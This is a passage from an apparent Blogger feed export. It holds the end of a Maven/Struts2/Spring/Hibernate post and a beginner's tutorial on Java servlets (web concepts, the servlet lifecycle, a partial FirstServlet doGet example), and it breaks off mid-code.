&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;b&gt;resources/config/log4j.xml&lt;/b&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&amp;nbsp;So, this is it related to the whole configuration and coding.&amp;nbsp;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;I have intentionally didn&#39;t add any jsp file in this code because I think JSP can be simply added by anyone by looking into a lot of example available so don&#39;t want to waste my time into that but if, anyone have any issues &amp;nbsp;in implementing this then they may contact me.&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/folderview?id=0B2bTQXAHYt8CR2xxRTZtMDl3NTg&amp;amp;usp=sharing&quot;&gt;Project Source&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/6569552459795184103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2013/07/maven-struts2-spring-hibernate-struts2.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6569552459795184103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/6569552459795184103'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2013/07/maven-struts2-spring-hibernate-struts2.html' title='Maven + Struts2 + Spring + Hibernate + Struts2-Convention-Plugin'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDgtJxMOp4WJjxXt1aQ1B1gk1VA05ZBS3BLOTPxpd1nUamljRGo2U2XFKDTNTDINKWzuy6v-WmKNe7_gOq6y4KiQx5A5g76_4oh1DbCfmBfrJzRZM0lsMC45gZi1uBkxge1geCesLdhjxK/s72-c/Struts-Spring-Integration.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-7751800500034717179</id><published>2013-07-11T03:22:00.001-07:00</published><updated>2013-07-12T02:05:21.936-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Java Servlet for Beginner</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Few of my students always get confused when they even hear about different web based technologies. And they feel of themselves as they will never be able to become a good programmer or web-app developer as they don&#39;t even heard the basic technologies involved in the web application development. Reason can be varies probably the universities they are studying at are not filled with well trained faculty.&lt;br /&gt;So before jumping into servlet you must be aware of first few things:&lt;/span&gt;&lt;/div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Client-Side Scripting&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Server-Side Scripting&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Request &amp;amp; Response&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;WebServer&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;Servlet Container&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Client-Side Scripting&lt;/u&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;Client&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;side scripting&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&amp;nbsp;generally refers to the class of computer programs on the web that are executed client-side, by the user&#39;s web browser instead of involving a web-server or servlet container.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;u&gt;Example:&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;javascript is a client side scripting language. If you ever use alert(&quot;abc&quot;); then it will simply ask browser to show a dialog with the message &quot;abc&quot;.&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;b&gt;&lt;u&gt;Server-Side Scription&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;Server side scripting&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&amp;nbsp;means that all of the code is executed on the server before the data is passed to the user&#39;s browser.&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;u&gt;Example:&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 16px;&quot;&gt;JSP, Servlet, PHP and many other languages that are server side. Once you will ask out.write(&quot;abc&quot;); browser will request server to parse then statement and generate a response on server and return that response to browser.&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;&lt;u&gt;Request &amp;amp; Response&lt;/u&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;R&lt;/span&gt;&lt;span style=&quot;background-color: white; font-weight: bold; line-height: 16px;&quot;&gt;equest,&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&amp;nbsp;which your computer sends to the web server contains all sorts of (&lt;/span&gt;&lt;wbr style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;/wbr&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;potentially) interesting information in order to fetch or transform into detailed information about the information passed.&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;u&gt;Example:&lt;/u&gt; http://www.google.com&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;b&gt;Response, &lt;/b&gt;which server return with transformed information against a &amp;nbsp;requests.&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;u&gt;Example: &lt;/u&gt;Google Search Page displayed on your browser&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;u&gt;&lt;b&gt;WebServer:&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;The term web server can refer to either the hardware (the computer) or the software (the computer application) that helps to deliver web content that can be accessed through the Internet.&lt;/span&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;u&gt;Example of Application WebServers: &lt;/u&gt;Apache Web Server (PHP) IIS(ASP) Apache Tomcat(JSP/Servlet)&lt;/span&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;b&gt;&lt;u&gt;Servlet Container:&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; line-height: 19.1875px;&quot;&gt;To deploy and run a servlet, a web container must be used. A web container (also known as a servlet container) is essentially the component of a web server.&amp;nbsp;A web container is responsible for managing the lifecycle of servlets, mapping a URL to a particular servlet and ensuring that the URL requester has the correct access rights.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; line-height: 19.1875px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEint4h2ecwxVgpyG-Xtv5okQbhyZ8LC1hQwbEn-MQkADmYVsysGe4w4hsioaDGB_qJS6DOF26tW2d4xQfnsm9kkCXCs9TmUKFQT54BJSCxMjO3OWA6zolk71bycp2dsha3FEk1ede2JnmBO/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;85&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEint4h2ecwxVgpyG-Xtv5okQbhyZ8LC1hQwbEn-MQkADmYVsysGe4w4hsioaDGB_qJS6DOF26tW2d4xQfnsm9kkCXCs9TmUKFQT54BJSCxMjO3OWA6zolk71bycp2dsha3FEk1ede2JnmBO/s320/1.png&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;line-height: 19.1875px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;Till now probably you must be clear to the terms that we have used in the above diagram. Now before getting into the coding of servlet I would like to drag it more and make you understood to the core lifecycle of servlet. That what is the difference in java class and a servlet and how basically they get into existence and &amp;nbsp;expires.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpUu5XDxpGsAKW1avoxs8R3qe8TK7swTwEUu0abVsMWQE4hZaSKM1RxLZVBj9SfIv6UrayFBz5opuWfdBqZeLR3Xqnc8JRMNlglYRlfCu7gSukmPjHtbLPEbuO5BCfPDQHo4_DPNGreMO/s1600/java_servlet_lifecycle.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;237&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpUu5XDxpGsAKW1avoxs8R3qe8TK7swTwEUu0abVsMWQE4hZaSKM1RxLZVBj9SfIv6UrayFBz5opuWfdBqZeLR3Xqnc8JRMNlglYRlfCu7gSukmPjHtbLPEbuO5BCfPDQHo4_DPNGreMO/s320/java_servlet_lifecycle.jpg&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;In java we have a main method which we consider as an entry point into our application while on the other hand in servlet we have init method that will be executed at first and after init() it calls to service methods:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b&gt;doGet()&lt;/b&gt;:Ask to get the thinking to get in requested URL&lt;br /&gt;&lt;b&gt;doPost()&lt;/b&gt;:Same as GET method with extra information send in&lt;br /&gt;body part.&lt;br /&gt;&lt;b&gt;doHead()&lt;/b&gt;:Only header part of response without any body section.&lt;br /&gt;&lt;b&gt;doTrace()&lt;/b&gt;:Ask for loop back of request message.(For testing)&lt;br /&gt;&lt;b&gt;doPut()&lt;/b&gt;:say to put the enclosed info in requested URL.&lt;br /&gt;&lt;b&gt;doDelete()&lt;/b&gt;:sat to delete the info in requested URL.&lt;br /&gt;&lt;b&gt;doOption()&lt;/b&gt;:ask for list of option in requested URL needed.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;But, here we will only proceed with doGet method. After completion of service method finally the servlet end up with it&#39;s life by executing destroy() method. For a quick overview servlet executes as:&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;i&gt;init()----&amp;gt; &amp;nbsp;doGet()/doPost()/doDelete()... &amp;nbsp;----&amp;gt;destroy()&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;h2 style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: small;&quot;&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;CODING&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 13.5pt;&quot;&gt;import
  java.io.*;&lt;/span&gt;&lt;br /&gt;
import java.util.*;&lt;br /&gt;
&lt;span style=&quot;color: red; font-family: &amp;quot;Courier New&amp;quot;; font-size: 13.5pt;&quot;&gt;import
  javax.servlet.*;&lt;br /&gt;
  import javax.servlet.http.*;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;Before coding we need to import the files that we will be using in our servlet. Here, the red marked imports are for servlet.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;
 &lt;tbody&gt;
&lt;tr&gt;
  &lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div style=&quot;margin-bottom: .0001pt; margin: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 13.5pt;&quot;&gt;public class FirstServlet extends&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-4.0-doc/servletapi/javax/servlet/http/HttpServlet.html&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 13.5pt;&quot;&gt;HttpServlet&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 13.5pt;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 13.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEint4h2ecwxVgpyG-Xtv5okQbhyZ8LC1hQwbEn-MQkADmYVsysGe4w4hsioaDGB_qJS6DOF26tW2d4xQfnsm9kkCXCs9TmUKFQT54BJSCxMjO3OWA6zolk71bycp2dsha3FEk1ede2JnmBO/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black; font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBpUu5XDxpGsAKW1avoxs8R3qe8TK7swTwEUu0abVsMWQE4hZaSKM1RxLZVBj9SfIv6UrayFBz5opuWfdBqZeLR3Xqnc8JRMNlglYRlfCu7gSukmPjHtbLPEbuO5BCfPDQHo4_DPNGreMO/s1600/java_servlet_lifecycle.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: black; font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;Our all servlets must extend &lt;b style=&quot;font-style: italic;&quot;&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-4.0-doc/servletapi/javax/servlet/http/HttpServlet.html&quot;&gt;HttpServlet &lt;/a&gt;&lt;/b&gt;and&lt;b style=&quot;font-style: italic;&quot;&gt;&amp;nbsp;&lt;/b&gt;HttpServlet itself extends from &lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-5.5-doc/servletapi/javax/servlet/GenericServlet.html&quot;&gt;GenericServlet&lt;/a&gt;&lt;/i&gt;&lt;/b&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;. &lt;/b&gt;GenericServlet contains init() and destroy() methods while HttpServlet class contains all the methods of service i.e. doGet, doPost and etc. So, our FirstServlet have access to all the methods of GenericServlet and HttpServlet.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;Note&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; line-height: 16px;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;:&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;text-indent: -0.38in;&quot;&gt;A java servlet class can contain any kind
of java code the JDK can compile, a&lt;/span&gt;&amp;nbsp;java servlet class needs to be compiled
prior to using it; it must use servlet-api.jar&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;If you will not override the method init(), destory() then the default methods will be executed. As it&#39;s our first servlet so we better avoid too much coding and simply overriding HttpServlet&#39;s doGet&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: arial, sans-serif; line-height: 16px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-yfti-tbllook: 1184;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background: #DBE5F1; border: none; mso-background-themecolor: accent1; mso-background-themetint: 51; padding: 0cm 5.4pt 0cm 5.4pt; width: 478.8pt;&quot; valign=&quot;top&quot; width=&quot;638&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;public&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #7f0055; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;void&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;
  doGet(&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-5.5-doc/servletapi/javax/servlet/http/HttpServletRequest.html&quot;&gt;HttpServletRequest&amp;nbsp;&lt;/a&gt;request, &amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://docs.oracle.com/javaee/6/api/javax/servlet/http/HttpServletResponse.html&quot;&gt;HttpServletResponse&lt;/a&gt;&amp;nbsp;response)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;throws&amp;nbsp;&lt;a href=&quot;http://docs.oracle.com/javase/7/docs/api/java/io/IOException.html&quot;&gt;IOException&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://docs.oracle.com/javaee/5/api/javax/servlet/ServletException.html&quot;&gt;ServletException&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; response.setContentType(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&quot;text/html&quot;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;);&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://docs.oracle.com/javase/6/docs/api/java/io/PrintWriter.html&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;PrintWriter&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&amp;nbsp;out =
